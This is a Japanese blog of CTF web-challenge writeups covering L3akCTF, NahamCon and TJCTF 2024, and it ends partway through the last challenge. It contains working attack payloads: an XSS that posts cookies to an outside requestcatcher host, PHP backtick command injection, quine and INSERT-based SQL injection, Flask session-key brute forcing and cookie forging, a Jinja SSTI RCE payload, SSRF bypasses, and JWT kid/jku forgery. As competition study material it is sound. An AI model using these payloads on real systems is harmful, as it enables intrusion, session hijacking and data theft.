はまやんはまやんはまやん

hamayanhamayan's blog

L3akCTF 2024 Writeup

https://ctftime.org/event/2322

[Web] I'm the CEO

ソースコード有り。htmxでできたNoteサイトが与えられる。botをまずは見てみる。以下のようにflagをcookieに入れているので、XSScookieを抜いてやればよさそう。

// Set Flag
await page.setCookie({
    name: "flag",
    httpOnly: false,
    value: CONFIG.APPFLAG,
    domain: CONFIG.APPHOST
})
let cookies = await page.cookies()
console.log(cookies);
// Visit URL from user
console.log(`bot visiting ${urlToVisit}`)
await page.goto(urlToVisit, {
    waitUntil: 'networkidle2'
});
await sleep(8000);
cookies = await page.cookies()
console.log(cookies);

XSSできそうなポイントを探すと普通にXSSのpayloadでNoteを投稿すると動く。<img src=x onerror=alert(document.domain)> htmxってanti-XSS defaultではないのか。

<img src=x onerror="fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: document.cookie })">

ともあれ、これを使ってNoteを作ってAdmin botに踏ませるとフラグが得られる。

https://htmx.org/essays/htmx-sucks/

おもろい。

[Web] Simple calculator

ソースコード有り。中身は簡潔で、フィルターを回避してphpコードのコマンドインジェクションする。

<?php

function popCalc() {
    if (isset($_GET['formula'])) {
        $formula = $_GET['formula'];
        if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
            return 'Try Harder !';
        }
        try {
            eval('$calc = ' . $formula . ';');
            return isset($calc) ? $calc : '?';
        } catch (ParseError $err) {
            return 'Error';
        }
    }
}

$result = popCalc();
echo "Result: " . $result;

?>

a-z\'"が使えないという条件。紆余曲折してphp jailしていたが、本質はそこではなく、`が使えるという部分。これを使えばshellを呼べるので`ls -la`みたいなやつを入れ込むことを考える。コマンド自体はそのままでは書けないので、Octal表現、8進数表現で記載することにする。

https://gchq.github.io/CyberChef/#recipe=To_Octal('Space')Find/Replace(%7B'option':'Simple%20string','string':'%20'%7D,'%5C%5C',true,false,true,false)&input=bHMgLWxh

こんな感じで用意して先頭に/を付けた`\154\163\40\55\154\141`を動かすとls -laできる。

total 16
dr-xr-xr-x 1 www-data www-data 4096 May 24 08:51 .
drwxr-xr-x 1 root     root     4096 Nov 15  2022 ..
-r--r--r-- 1 root     root       23 May 24 08:46 flag-eucmCjFHC1oimI0d9XxT7JzANCVOhrFX2OVdy8NxGQ3aPxDLd4WwwQ82eMKlRZBy.txt
-r-xr-xr-x 1 root     root      467 May 24 08:46 index.php

良い感じ。cat flag-*.txtでフラグ獲得。

`\143\141\164\40\146\154\141\147\55\52\56\164\170\164`

[Web] BatBot

Discordのbotソースコードが与えられる。L3akCTFの公式DiscordにBatBot君がいるので話しかけてみる。

hamayanhamayan — 今日 18:44
!help

BatBot — 今日 18:44
Help Command:
 !help (Shows this message)
 !verify token  (Authenticate with a JWT token)
 !generate (Generate a JWT Token for you)

JWTトークンを検証するもの。検証のソースコードは以下。

@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        else:
            result = verify_jwt(token)
            print(ctx.author)
            print(result)
            if isinstance(result, dict):
                username = result.get('username')
                role = result.get('role')
                if username and role=='VIP':
                    await ctx.send(f'Welcome Sir! Here is our secret {flag}')
                elif username:
                    await ctx.send(f'Welcome {username}!')
                else:
                    await ctx.send('Authentication failed. Please try again.')
            else:
                await ctx.send('Authentication failed.')
    except:
        await ctx.send('Authentication failed.')

roleがVIPであればフラグがもらえる。verify_jwtを見てみる。

def verify_jwt(token):
    try:
        header = jwt.get_unverified_header(token)
        kid = header['kid']
        assert ("/" not in kid)
        with open(kid, 'r') as file:
            secret_key = file.read().strip()
        decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
        return decoded_token
    except Exception as e:
        return str(e)

kidからファイルを読み込んで秘密鍵としている。assert ("/" not in kid)というのがあり、/dev/nullを使う常套テクは使えない。『既知の』良い感じのファイルが無いか考えると、bot.pyが使えそうと気が付く。以下のように、kidとしてbot.pyを使ってJWTトークンを作り、!verify [token]を投げるとフラグがもらえる。

import jwt
import os

with open('src/BatBot/bot.py', 'r') as file:
    secret_key = file.read().strip()
headers = {
    'kid': 'bot.py'
}
token = jwt.encode({'username': 'hamayanhamayan','role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
print(token)

[Web] bbsqli

ソースコード有りで、SQL Injectionできるサイトが与えられる。SQL Injectionできる箇所はここ。

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
       try: 
        username = request.form['username']
        password = request.form['password']
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"')
        user = cursor.fetchone()
        conn.close()
        if user and user['username'] == username and user['password'] == hash_password(password):
            session['username'] = user['username']
            session['email'] = user['email']
            return redirect(url_for('dashboard'))
        else:
            return render_template('login.html', error='Invalid username or password')
       except:
           return render_template('login.html', error='Invalid username or password')
    return render_template('login.html')

確かに入力がそのまま移っている。フラグの入り方は以下のような感じ。

def add_flag(flag):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute('INSERT INTO flags (flag) VALUES (?)', (flag,))
    conn.commit()
    conn.close()

SQL Injectionの発生自体は普通だが、そのあとの検証で情報を抜き出してくるにはuser['username'] == username and user['password'] == hash_password(password)をtrueにする必要がある部分があり、そこが難しい。Blindで情報を抜き出す際にも応答の差を生み出す必要があるので上記の条件は何とかする必要がある。

結論から言うとQuineという構造を作り出す必要がある。usernameでSQL Injectionを引き起こす必要があるが、その出力のusernameに入力と同じものを出力させる必要がある。このように入力と出力が一致するような構造をQuineと呼び、面白パズルの1つ。以下のような入力をusernameに入れると出力のusernameに同じものが出てきて、emailには(SELECT flag FROM flags)の結果が入り、passwordには122のmd5ハッシュであるa0a080f42e6f13b3a2df133f073095ddが入る。

" UNION SELECT REPLACE(REPLACE("' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -",CHAR(39),CHAR(34)),CHAR(36),"' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -") AS username, (SELECT flag FROM flags) AS email, "a0a080f42e6f13b3a2df133f073095dd" AS password -- " -- -

よって、以上をusername、passwordを122とするとログインができ、emailに希望のSQL文の結果が入るので、ログイン後にフラグを読み取ることができる。

NahamCon CTF 2024 Writeups

https://ctftime.org/event/2364

[Web] iDoor

ソースコード無し。アクセスしてみるとGET /4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8という先にアクセスしている。タイトルからIDORを探すのだろう。ということは、このhex列は何か0とか1とかそういったものを指すのだろう。ハッシュ値であると推測をしてCrackStationに渡してみるとHITする。

Hash Type    Result
4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8    sha256  11

1をsha256にした/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4bPにアクセスしてみると、何かのwebカメラの映像が見える。ok.色々試して0をsha256にしたGET /5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9でフラグが得られた。

[Web] HelpfulDesk

ソースコード無しだが、アクセスしてみるとソースコードが配布されている。セキュリティアップデートが要求されているが、まだ適用されていないサイトのようだ。フッターを見ると© 2024 HelpfulDesk - Version 1.1とあり、バージョンは1.1。セキュリティ対応がなされているのはバージョン1.2なので、なんらかの脆弱性があるらしい。どちらのバージョンのソースコードも配布されているのでdiffを見てみよう…と思ったが、面倒なことにdllで配布されている… だが、diffを取ることでHelpfulDesk.dllに変更があることが分かるので、このソースコードを比較しよう。

SetupControllerに差分があった

using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text.Json;
using HelpfulDesk.Models;
using HelpfulDesk.Services;
using Microsoft.AspNetCore.Mvc;

namespace HelpfulDesk.Controllers
{
    // Token: 0x0200001F RID: 31
    [NullableContext(1)]
    [Nullable(0)]
    public class SetupController : Controller
    {
        // Token: 0x060000F9 RID: 249 RVA: 0x000041AC File Offset: 0x000023AC
        public IActionResult SetupWizard()
        {
            if (System.IO.File.Exists(this._credsFilePath))
            {
                string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
                if (requestPath.Equals("/Setup/SetupWizard", StringComparison.OrdinalIgnoreCase))
                {
                    return this.View("Error", new ErrorViewModel
                    {
                        RequestId = "Server already set up.",
                        ExceptionMessage = "Server already set up.",
                        StatusCode = 403
                    });
                }
            }
            return this.View();
        }

        // Token: 0x060000FA RID: 250 RVA: 0x0000422C File Offset: 0x0000242C
        [HttpPost]
        public IActionResult SetupWizard(string username, string password)
        {
            string filePath = Path.Combine(Directory.GetCurrentDirectory(), "credentials.json");
            List<AuthenticationService.UserCredentials> credentials = new List<AuthenticationService.UserCredentials>
            {
                new AuthenticationService.UserCredentials
                {
                    Username = username,
                    Password = password,
                    IsAdmin = true
                }
            };
            string json = JsonSerializer.Serialize<List<AuthenticationService.UserCredentials>>(credentials, null);
            System.IO.File.WriteAllText(filePath, json);
            return this.RedirectToAction("SetupComplete");
        }

        // Token: 0x060000FB RID: 251 RVA: 0x00004289 File Offset: 0x00002489
        public IActionResult SetupComplete()
        {
            return this.View();
        }

        // Token: 0x0400009F RID: 159
        private readonly string _credsFilePath = "credentials.json";
    }
}

これはバージョン1.2のもの。バージョン1.1だとstring requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');string requestPath = base.HttpContext.Request.Path.Value;になっていた。つまり末尾にスラッシュを入れることでその後の確認がbypassできるようである。

ということで/Setup/SetupWizardにアクセスしてみる。すると、403エラーとともにException Message: Server already set up.と言われる。ソースコード通りですね。今回は脆弱なバージョンなので/Setup/SetupWizard/にしてみると、Setup Wizardが立ち上がり、管理者の認証情報を設定する画面が表示される。適当に設定すると管理者アカウントの認証情報が上書きでき、ログインすることができる。ログイン後は適当に巡回すると最終的にはGET /Dashboard/DownloadFile?fileName=flag.txtでフラグが手に入る。

[Web] All About Robots

ソースコード無し。問題文に従い、robots.txtを見てみよう。/robots.txt

User-agent: *
Disallow: /open_the_pod_bay_doors_hal_and_give_me_the_flag.html

ということで/open_the_pod_bay_doors_hal_and_give_me_the_flag.htmlにアクセスするとフラグが手に入る。

[Web] Hacker Web Store

ソースコードは無いが、password_list.txtというファイルが与えられる。

This challenge may require a local password list, which we have provided below. Reminder, bruteforcing logins is not necessary and against the rules.

とあるのでログインブルートフォースには使わないらしい。webサイトにアクセスしてみるとsessionのCookieがもらえる。

Set-Cookie: session=.eJxNy0EKgCAQQNG7zFoSDBK6jIzNiJJpNbOL7p7Llg_-fyCkmyXDmrAKG6AYTtRhsLkfbDdNVlik9BYIFSMO2TjP7Mk7t1AKFCe5alEGA9p3bmP-B_B-Gq0iIA.ZlBUWw.-DtXEWxUSPXj4Qcf72WWmS4V7Fs; HttpOnly; Path=/

websiteのタイトルからFlaskが使われているので、Flaskのセッションだろう。ここから色々やると、POST /createにてSQL Injectionが見つかる。name=s&price='&desc=sを送ると、Set-Cookie: session=.eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c; HttpOnly; Path=/というcookieが帰ってきて、flask-unsignを使って中身を見ると

$ flask-unsign -d -c ".eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c"
{'_flashes': [('message', "Error in Statement: INSERT INTO Products (name, price, desc) VALUES ('s', ''', 's');"), ('message', 'near "s": syntax error')], '_fresh': False, 'db_path': '/home/ctf/session_databases/b33e7d7226df_db.sqlite', 'token': 'b33e7d7226df'}

良い感じにエラーが出ている。INSERT文をうまく使って情報を抜き出すことができる。スキーマ構造を抜き出してみよう。', (SELECT group_concat(sql) FROM sqlite_master)); --をpriceに入れてみる。

CREATE TABLE users (
        id INTEGER NOT NULL,
        name VARCHAR(100),
        password VARCHAR(100) NOT NULL,
        PRIMARY KEY (id)
),CREATE TABLE products (
        id INTEGER NOT NULL,
        name VARCHAR(100) NOT NULL,
        price INTEGER,
        &#34;desc&#34; TEXT,
        PRIMARY KEY (id)
)

いいですね。', (SELECT group_concat(name) FROM users)); --とするとJoram,James,website_admin_account。そして', (SELECT group_concat(password) FROM users)); --とすると

pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34,
pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b,
pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57

と出てくる。やっと辞書を使いそうな局面に来ました。これと配布されているpassword_list.txtを使ってパスワードクラックする。これはFlaskのwerkzeugで使われるパスワードハッシュであり、以下のスクリプトでクラックした。

from werkzeug.security import generate_password_hash, check_password_hash

hashes = [
    'pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34',
    'pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b',
    'pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57',
]

with open('password_list.txt', 'r') as file:
    for password in file.readlines():
        password = password.strip()

        cnt = 0
        for hashed in hashes:
            if check_password_hash(hashed, password):
                print(f'[FOUND] {hashed} -> {password}')
            cnt += 1

結構時間がかかるので待つと出てくる。

$ python3 crack.py 
[FOUND] pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57 -> ntadmin1234

ということでwebsite_admin_account:ntadmin1234でログインするとフラグが得られる。

[Web] Thomas DEVerson

ソースコード無し。サイトを巡回してソースコードを眺めると<!-- <a href="/backup" class="pl-md-0 p-3 text-white">Backup</a> !-->というのが見つかる。アクセスしてみるとソースコードが一部見える。

---------- command output: {head -n 10 app.py} ----------

from flask import (Flask, flash, redirect, render_template, request, send_from_directory, session, url_for)
from datetime import datetime

app = Flask(__name__)

c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'

allowed_users = ['Jefferson', 'Madison', 'Burr'] # No Federalists Allowed!!!!

---------- command output: {head -n 10 requirements.txt} ----------

Flask==3.0.3

サイトを巡回するとログインっぽいエンドポイントがある。POST /loginというのがあるので、Burrと送ってみると、Cannot login as Burr, account is protected!と言われる。それっぽい。このログイン試行のときにもらえるsessionがflaskのもので、flask-unsignを見てみると、以下のようになっている。

$ flask-unsign -d -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ"
{'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'}

nameというカラムがありますね。これが偽装できればよさそう。秘密鍵は、先ほど漏洩していたソースコードにヒントがある。再掲する。

c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'

時刻を取得しているが、GET /statusというエンドポイントがあり、System healthy! Computing uptime... 82817 days 15 hours 0 minutesのように起動時刻からの時間を教えてくれている。そこから起動時間を推測して辞書を作りクラックすると鍵が見つかる。

$ cat make_dic.py 
import requests, subprocess, re
from datetime import datetime, timedelta

BASE = 'http://challenge.nahamcon.com:32692/'

# calc uptime
r = requests.get(BASE + "status").text
#print(r)
match = re.search(r"(\d+)\s+days?\s+(\d+)\s+hours?\s+(\d+)\s+minutes?", r)
days = int(match.group(1))
hours = int(match.group(2))
minutes = int(match.group(3))
uptime = datetime.now() - timedelta(days=days, hours=hours, minutes=minutes)
#print(uptime)

for d in range(-1000,1000):
    cand = uptime + timedelta(minutes=d)
    print('THE_REYNOLDS_PAMPHLET-' + cand.strftime("%Y%m%d%H%M"))

#result = subprocess.run(['ls', '-l'], capture_output=True, text=True).stdout



#payload = "', (SELECT group_concat(sql) FROM sqlite_master)); --"
#payload = "', (SELECT group_concat(name) FROM users)); --"
#payload = "', (SELECT group_concat(password) FROM users)); --"
#res = requests.post(f'{BASE}/create/', data={'name':'s', 'price':payload, 'desc':'s'}).text

#print(res)
$ python3 make_dic.py > dic.txt

$ flask-unsign -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ" --unsign --wordlist dic.txt --no-literal-eval
[*] Session decodes to: {'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 512 attemptsLET-17970825
b'THE_REYNOLDS_PAMPHLET-179708250845'

ok. GET /とかでもらえるやつを改ざんして、nameをJeffersonにして、GET /messagesを見るとフラグが書いてあった。

$ flask-unsign -d -c "eyJuYW1lIjoiZ3Vlc3QifQ.ZlEpnQ.33Au_c9XeallX2HjDX_rJ7yOOjc"
{'name': 'guest'}
$ flask-unsign --sign --secret THE_REYNOLDS_PAMPHLET-179708250845 --cookie "{'name': 'Jefferson'}"
eyJuYW1lIjoiYWRtaW4ifQ.ZlEq1A.MfNd_XpYhjvue5aVueotFe74vm8
$ curl -b 'session=eyJuYW1lIjoiSmVmZmVyc29uIn0.ZlErHQ.9xz77ORHdCgGlfzKk23J9QHJJeY' http://challenge.nahamcon.com:32692/messages | grep flag
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2108  100  2108    0     0   6121      0 --:--:-- --:--:-- --:--:--  6127
            <strong>flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■}</strong>

[Web] The Davinci Code

GET /codeでエラーが出る。ソースコードが一部漏洩する。

        abort(405)
    abort(404)
 
@app.route('/code')
def code():
    return render_template("code.html")
 
@app.route('/', methods=['GET', 'PROPFIND'])
def index():
    if request.method == 'GET':
        return render_template('index.html')

PROPFIND /というのができるっぽい。調べるとWebDAV

  • PROPFIND /から以下の情報が分かる
    • /__pycache__
    • /templates
    • /app.py
    • /static
    • /the_secret_dav_inci_code
  • PROPFIND /the_secret_dav_inci_codeから/the_secret_dav_inci_code/flag.txtが見つかるが、そのままでは見れない

ということで、/the_secret_dav_inci_code/flag.txtを見るために/staticに移して、それから取得することにする。以下のようにやればフラグが得られる。

$ curl -X MOVE --header 'Destination:static/flag.txt' 'http://challenge.nahamcon.com:30484/the_secret_dav_inci_code/flag.txt'

$ curl http://challenge.nahamcon.com:30484/static/flag.txt
flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}

TJCTF 2024 Writeups

https://ctftime.org/event/2321

web/frog

ソースコード無し。ribbit ribbit ribbit :( robbit robbit robbit :(と言われる。息をするように/robots.txtにアクセスする。

User-agent: *
Disallow: /secret-frogger-78570618/

/secret-frogger-78570618/にアクセスすると大量のカエルアイコンが表示される。ソースコードを見ると、1つにだけリンクが張られている。/secret-frogger-78570618/flag-ed8f2331.txtにアクセスするとフラグ獲得。

web/reader

ソースコード有り。flagの場所を確認しよう。

@app.route("/monitor")
def monitor():
    if request.remote_addr in ("localhost", "127.0.0.1"):
        return render_template(
            "admin.html", message=flag, errors="".join(log) or "No recent errors"
        )
    else:
        return render_template("admin.html", message="Unauthorized access", errors="")

/monitorに内部からアクセスできればフラグが手に入る。サイトはSSRF出来そうなインターフェースをしているのでDockerfileでポート5000が開放されているのを参考にhttp://127.0.0.1:5000/monitorを入力するとフラグが得られる。

web/fetcher

ソースコード有り。フラグの場所を確認しよう。

app.get('/flag', (req, res) => {
    if (req.ip !== '::ffff:127.0.0.1' && req.ip !== '::1' && req.ip !== '127.0.0.1')
        return res.send('bad ip');

    res.send(`hey myself! here's your flag: ${flag}`);
});

ipが内部IPであればフラグがもらえそう。内部に通信しそうな所を探すと以下。

app.post('/fetch', async (req, res) => {
    const url = req.body.url;

    if (!/^https?:\/\//.test(url))
        return res.send('invalid url');

    try {
        const checkURL = new URL(url);

        if (checkURL.host.includes('localhost') || checkURL.host.includes('127.0.0.1'))
            return res.send('invalid url');
    } catch (e) {
        return res.send('invalid url');
    }

    const r = await fetch(url, { redirect: 'manual' });

    const fetched = await r.text();

    res.send(fetched);
});

与えられたURLをパースして、localhost127.0.0.1なら弾く。localhostを指していい感じにbypass出来そうなものを適当に探してくるとhttp://[::]:3000/flagでフラグが得られた。

web/templater

ソースコード有り。

from flask import Flask, request, redirect
import re

app = Flask(__name__)

flag = open('flag.txt').read().strip()

template_keys = {
    'flag': flag,
    'title': 'my website',
    'content': 'Hello, {{name}}!',
    'name': 'player'
}

index_page = open('index.html').read()

@app.route('/')
def index_route():
    return index_page

@app.route('/add', methods=['POST'])
def add_template_key():
    key = request.form['key']
    value = request.form['value']
    template_keys[key] = value
    return redirect('/?msg=Key+added!')

@app.route('/template', methods=['POST'])
def template_route():
    s = request.form['template']
    
    s = template(s)

    if flag in s[0]:
        return 'No flag for you!', 403
    else:
        return s

def template(s):
    while True:
        m = re.match(r'.*({{.+?}}).*', s, re.DOTALL)
        if not m:
            break

        key = m.group(1)[2:-2]

        if key not in template_keys:
            return f'Key {key} not found!', 500

        s = s.replace(m.group(1), str(template_keys[key]))

    return s, 200

if __name__ == '__main__':
    app.run(port=5000)

ざっくり説明するとPOST /template{{key}}の形を手動で展開するテンプレートエンジンが動いていて、{{flag}}とするとフラグに変換してくれる。しかし、変換後のチェックでフラグが含まれているとNo flag for you!と言われるので、単純には取り出せない。…と、考えていると天啓が下りる。template関数の以下の部分を活用する。

if key not in template_keys:
    return f'Key {key} not found!', 500

この応答はそのまま出力に変えるので、うまくここに入れることができれば外部に持って来ることができそうである。つまり、{{{{flag}}}}というのを送る。初回で{{flag}}が変換され、{{tjctf{hogehoge}}}のようになり、次のループでtjctf{hogehogeがkeyとして認識されるが、これは辞書にはないのでエラー応答になって帰ってくる。テンプレートエンジンのフォーマットの問題でうまく末尾の}が消えるので出力時フィルタリングも回避し、}が抜けたフラグが手に入る。

web/music-checkout

ソースコード有り。読んでいくとSSTI脆弱性がある。不要な点を除いた関連部分を見てみると以下のようになる。

@app.route("/create_playlist", methods=["POST"])
def post_playlist():
    …
        username = request.form["username"]
    …
        filled = render_template("playlist.html", username=username, songs=text)
        this_id = str(uuid.uuid4())
        with open(f"templates/uploads/{this_id}.html", "w") as f:
            f.write(filled)
    …


@app.route("/view_playlist/<uuid:name>")
def view_playlist(name):
    name = str(name)
    …
        return render_template(f"uploads/{name}.html")
    …

playlist.htmlのusernameを見ると<p class="item">ORDER #0001 for {{ username|safe }}</p>となってsafeが付いているので邪魔もしない。ということでusernameに{{config}}を入れて表示させてみる。

ORDER #0001 for <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

ok。いいですね。RCEしましょう。{{request.application.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read()}}をusernameにするとフラグが得られる。

web/topplecontainer

ソースコード有り。flagの場所を探すと以下にある。

@app.route("/flag")
@login_required()
def get_flag(user):
    if user["id"] == "admin":
        return flag
    else:
        return "admins only! shoo!"

GET /flagをadminユーザーで入れればフラグ。ログイン管理はJWTでやっていて以下のように検証している。

def verify_token(token):
    try:
        header = jwt.get_unverified_header(token)
        jku = header["jku"]
        with open(f"static/{jku}", "r") as f:
            keys = json.load(f)["keys"]
        kid = header["kid"]
        for key in keys:
            if key["kid"] == kid:
                public_key = jwt.algorithms.ECAlgorithm.from_jwk(key)
                payload = jwt.decode(token.encode(), public_key, algorithms=["ES256"])
                return payload
    except Exception:
        pass
    return None

jkuを使っていますね。任意のファイルがアップロードできれば検証を通過させられそう…と思っているとアップロードポイントがある。

@app.route("/upload", methods=["POST"])
@login_required()
def post_upload(user):
    if "file" not in request.files:
        return redirect(request.url + "?err=No+file+provided")
    file = request.files["file"]
    if file.filename == "":
        return redirect("/?err=Attached+file+has+no+name")
    if file:
        uid = user["id"]
        fid = str(uuid.uuid4())
        folder = os.path.join(os.getcwd(), f"uploads/{uid}")
        os.makedirs(folder, exist_ok=True)
        file.save(os.path.join(folder, fid))
        f = File(fid, file.filename, file.mimetype)
        if uid not in user_files:
            user_files[uid] = {}
        user_files[uid][fid] = f
    return redirect(f"/?success=Successfully+uploaded+file&path={uid}/{fid}")

ということで、アップロードして、それを参照させることで検証を通過させてみましょう。ECのキーペアを作成し、秘密鍵をPEM形式で、公開鍵はJWK形式で出力させます。ChatGPTが数秒で吐いてきたものが以下です。

from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from jwcrypto import jwk

# EC鍵ペアを生成
private_key = ec.generate_private_key(ec.SECP256R1())

# 秘密鍵をPEM形式でシリアライズ
private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
with open("ec_private_key.pem", "w") as private_file:
    private_file.write(private_pem.decode())

# 公開鍵をPEM形式でシリアライズ
public_key = private_key.public_key()
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# JWK形式に変換
jwk_public = jwk.JWK.from_pem(public_pem)

# JWK形式の鍵をファイルに保存
with open("ec_public_key.jwk", "w") as public_file:
    public_file.write(jwk_public.export())

print("鍵ペアをJWK形式でファイルに保存しました。")

ok.あとは、以下の手順でフラグが得られる。

  1. 以下のような形でkey.jsonを用意してアップロードする
{
    "keys": [
        <<< ここにec_public_key.jwk >>>
    ]
}
  1. jwt.ioとかで以下のようなJWTトークン作成
header
{
  "alg": "ES256",
  "jku": "../uploads/0d251448-ac71-4a1d-b702-136b1f2ad17d/bda5c410-5232-445f-8c1a-ff3a4b88a0ea", ← upload先
  "kid": "3mSwZOST2mdZvksPveW0VVzIkq0C0sEHwlxC3OhR4LE", ← 生成したキーペアのkid
  "typ": "JWT"
}

payload
{
  "id": "admin"
}
  1. 以下のようにGET /flagする
GET /flag HTTP/2
Host: topplecontainer.tjc.tf
Cookie: token=eyJhbGciOiJFUzI1NiIsImprdSI6Ii4uL3VwbG9hZHMvMGQyNTE0NDgtYWM3MS00YTFkLWI3MDItMTM2YjFmMmFkMTdkL2JkYTVjNDEwLTUyMzItNDQ1Zi04YzFhLWZmM2E0Yjg4YTBlYSIsImtpZCI6IjNtU3daT1NUMm1kWnZrc1B2ZVcwVlZ6SWtxMEMwc0VId2x4QzNPaFI0TEUiLCJ0eXAiOiJKV1QifQ.eyJpZCI6ImFkbWluIn0._k6T_FenUSRVYQ2g4Fu0lBUo8sNZXOtwtPRQdLTtKcjtu9Ye-89qxcZSAAW3Lkm9u1fMDkecCGoLDSBE6HLurQ

web/kaboot

ソースコード有り。Kahoot!のようなサイトが与えられる。フラグは以下にある。f'omg congrats, swiftie!!! {flag}' if get_score(scores, room_id, data['id']) >= 1000 * len(kahoot['questions']) else 'sucks to suck brooooooooo'にあるようにスコアが特定以上だともらえるようだ。

@sock.route('/room/<room_id>')
def room_sock(sock, room_id):
    sock.send(b64encode(kahoot['name'].encode()))
    scores = get_room_scores(room_id)
    for i, q in enumerate(kahoot['questions']):
        sock.send(b64encode(json.dumps({
            'send_time': time(),
            'scores': scores,
            **q,
        }).encode()))
